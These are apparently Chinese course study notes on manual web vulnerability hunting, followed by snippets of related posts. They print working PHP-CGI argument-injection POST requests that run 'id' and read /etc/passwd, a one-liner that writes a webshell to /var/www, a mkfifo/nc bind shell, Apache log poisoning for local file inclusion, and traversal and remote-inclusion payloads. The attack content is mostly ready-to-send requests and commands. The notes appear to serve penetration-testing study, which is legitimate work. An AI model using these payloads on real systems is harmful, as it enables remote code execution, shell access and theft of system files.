【安全牛学习笔记】漏洞挖掘

漏洞本质

  数据与指令的混淆
  对用户输入信息过滤不严,误将指令当做数据

漏洞挖掘原则

所有变量
所有头

cookie中的变量
逐个变量删除筛选

身份认证

弱口令/基于字典的爆破

密码嗅探

sessionID
xss

嗅探sessionID长期不变
通过算法预测sessionID

phpmyadmin远程命令执行低版本的php存在此漏洞

利用代码

POSThttp://1.1.1.1/phpMyAdmin/?-d+allow_url_include%3d1+-d
+auto_prepend_file%3dphp://inputHTTP/1.1
Host:1.1.1.1
<?php

passthru(‘id‘);
die();
?>

利用方式:可用burpsuite提交post请求

/cgi-bin/php 漏洞
Ubuntu / debian默认安装php5-cgi

可直接访问 /cgi-bin/php5和 /cgi-bin/php利用代码

POST/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E
%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D
%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C
%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F
%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F
%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F
%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E
%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F
%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E
%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+
%2D%6EHTTP/1.1

Host:123
<?php
echosystem(‘cat/etc/passwd‘);
?>

利用方式:可用burpsuite提交post请求

php远程命令执行建立会话

写入webshellecho"<?php\$cmd=\$_GET["cmd"];system(\$cmd);?>">/var/www/a.php

php反弹shellshell路径

/usr/share/webshells/php/php-reverse-shell.php

监听端口提供shell在目标机器上执行

mkfifo/tmp/pipe;sh/tmp/pipe|nc-nlp4444>/tmp/pipe

使用nc连接,可获得shell命令执行

应用程序直接调用操作系统功能
对用户输入未作严格过滤,使得攻击者可以在远程服务器上执行系统命令
使用; & && | || 等绕过限制

目录遍历/文件包含

directorytraversal/fileinclude

应用程序功能操作文件,限制不严导致访问web目录以外的文件
与 directorytraversal不同,列出所有文件的漏洞为 directorybrowsing,也

称作 pathbrowsing 或 pathtraversal文件包含分为本地文件包含(LFI)和远程文件包含(RFI)

特征:

?page=a.php
?home=b.html
?file=content

不绝对测试方法:

?file=../../../etc/passwd
?page=file:///etc/passwd –使用绝对路径
?home=main.cgi
?page=http://1.1.1.1/a.php –远程文件引用http://1.1.1.1/../../../../file.txt –使用多个 ../混淆绕过

绕过字符过滤
.%00 – 绕过文件扩展名过滤

?file=a.doc%00.php使用多种编码尝试 asciiurlbase64

不同操作系统路径特征字符类unix系统

根目录 /目录层级目录 /

windows
\ 或/

编码

url编码,双层url编码unicode/utf-8编码

其他系统可能用到的路径

-file.txt...
-file.txt<spaces>
-file.txt"""
-file.txt<<<>>><
-./././file.txt
-nonexistant/../file.txt

-UNC路径:\\1.1.1.1\path\to\file.txt注意存在于cookie中的文件引用

试例代码

<?php
$template="index.php";
if(is_set($_COOKIE[‘template‘]))

$template=$_COOKIE[‘template‘];
include("/home/user/phpguru/template/".$template);
?>

攻击代码

GET/vulnerable.phpHTTP/1.0
Cookie:template=../../../../../../etc/passwd

本地文件包含LFI查看文件

代码执行
需web应用的账户有权限访问/var/log/apache2/access.log

通过nc连接远程服务器80端口,向目标服务器的log文件中插入如下代码<?phpechoshell_exec($_GET[‘cmd‘]);?>

构造地址引用apache的log文件并提供cmd参数即可远程执行代码

远程文件包含RFI概率小于LFI,但更容易被利用

漏洞利用:

构造请求使目标服务器引用攻击者准备的恶意脚本,便可将恶意脚本在远程服务端执
行,执行恶意操作或者获得一个shell

时间: 2024-10-21 11:14:53

【安全牛学习笔记】漏洞挖掘的相关文章

【安全牛学习笔记】手动漏洞挖掘-SQL注入

[email protected]:~# john --format=raw-MD5 dvwa.txt [email protected]:~# cd .john/ [email protected]:~/.john# ls john.log  john.pot [email protected]:~/.john# cat john.log [email protected]:~/.john# cat john.pot [email protected]:~/.john# rm *       

【安全牛学习笔记】&#8203;手动漏洞挖掘-SQL盲注

手动漏洞挖掘-----SQL盲注 不显示数据库内建的报错信息 内建的报错信息帮助开发人员发现和修复问题 报错信息提供关于系统的大量有用信息 当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将 无法依据报错信息判断注入语句的执行结果,即 盲 思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断 1'and 1=1--+ 1'and 1=2--+ select * from table_name where id='1' orderby 2--'; 课时91 手动漏洞挖

【安全牛学习笔记】KALI版本更新(第一个ROLLING RELEASE)和手动漏洞挖掘(SQL注入)

KALI版本更新-----第一个ROLLING RELEASE Kali 2.0发布时声称将采用rolling release模式更新(但并未实施) Fixed-release 固定发布周期 使用软件稳定的主流版本 发布-----主流-----作废 更稳定,适合于企业生产环境 Rolling release 使用于开发者和技术人员 连续升级新版本,追求在新功能出现后最快使用 正在成为流行 KALI版本更新-----第一个ROLLING RELEASE Kali 2.0 rolling relea

【安全牛学习笔记】答疑(Conky、Goagent、Linux4.4内核发布),手动漏洞挖掘

问答 Conky https://weather.yahoo.com/ conkyrc beijing: 2151330 Goagent 不要启动多次 Win+M Linux 4.4内核发布,在虚拟机中可使用主机上的GPU [email protected]:~# vi .conkyrc ${execi 300 curl -s "http://weather.yahoapis.com/forecastrss?w=2151330=c" -o ~/.cache/weather.xml} 打

【安全牛学习笔记】&#8203;手动漏洞挖掘(四)

手动漏洞挖掘 本地文件包含lfi 查看文件 代码执行 <?php echo shell_exec($_GET['cmd']);?> Apache access.log 远程文件包含rfi 出现概率少于lfi,但更容易被利用 /usr/share/wfuzz/wordlist/vulns/ 手动漏洞挖掘 文件上传漏洞 <?php echo shell_exec($_GET['cmd']);?> 直接上传webshell 修改文件类型上传webshell Mimetype----文件头

【安全牛学习笔记】手动漏洞挖掘(二)

手动漏洞挖掘 身份认证 常用弱口令/基于字典的密码破爆破 锁定账号 信息收集 手机号 密码错误提示信息 密码嗅探 手动漏洞挖掘 会话sessionID Xss / cookie importer SessionID in URL 嗅探 sessionID长期不变 / 永久不变 sessionID生成算法 Sequencer 私有算法 预判下一次登录时生成的SessionID 登出后返回测试 手动漏洞挖掘 密码找回 https://www.example.com/[email protected]

【安全牛学习笔记】手动漏洞挖掘(三)

手动漏洞挖掘 Directory travarsal / File include(有区别/没区别) 目录权限限制不严 / 文件包含 /etc/php5/cgi/php.ini allow_url_include = on 应用程序功能操作文件,限制不严时导致访问WEB目录以外的文件 读.写文件.远程执行代码 特征但不绝对 ?page=a.php ?home=b.html ?file=content [email protected]:~$ ifconfig [email protected]:

【安全牛学习笔记】OWASP_ZAP

OWASP_ZAP Zed attack proxy WEB Applicaiton集成渗透测试和漏洞挖掘工具 开源免费跨平台简单易用 截断代理 主动.被动扫描 Fuzzy.暴力破解 API http://zap/ Do you want to persist the ZAP Session Yes,I want to persist this session with name based on the current timestamp √ Yes,I want to persist thi

【安全牛学习笔记】漏洞概念

1.漏洞管理(信息维度) (1).信息收集 扫描发现网络IP.OS.服务.配置.漏洞 能力需求:定义扫描方式内容和目标 (2).信息管理格式化信息,并进行筛选.分组.定义优先级   能力需求:资产分组.指定所有者.向所有者报告漏洞 (3).信息输出向不同层级的人群展示足够的信息量 能力需求:生成报告.导出数据.与SIEM集成2.弱点扫描类型 (1).主动扫描有身份验证(登陆到系统中进行扫描) 无身份验证(黑盒扫描) (2).被动扫描镜像端口抓包 其他来源(嗅探) (3).基于agent扫描平台有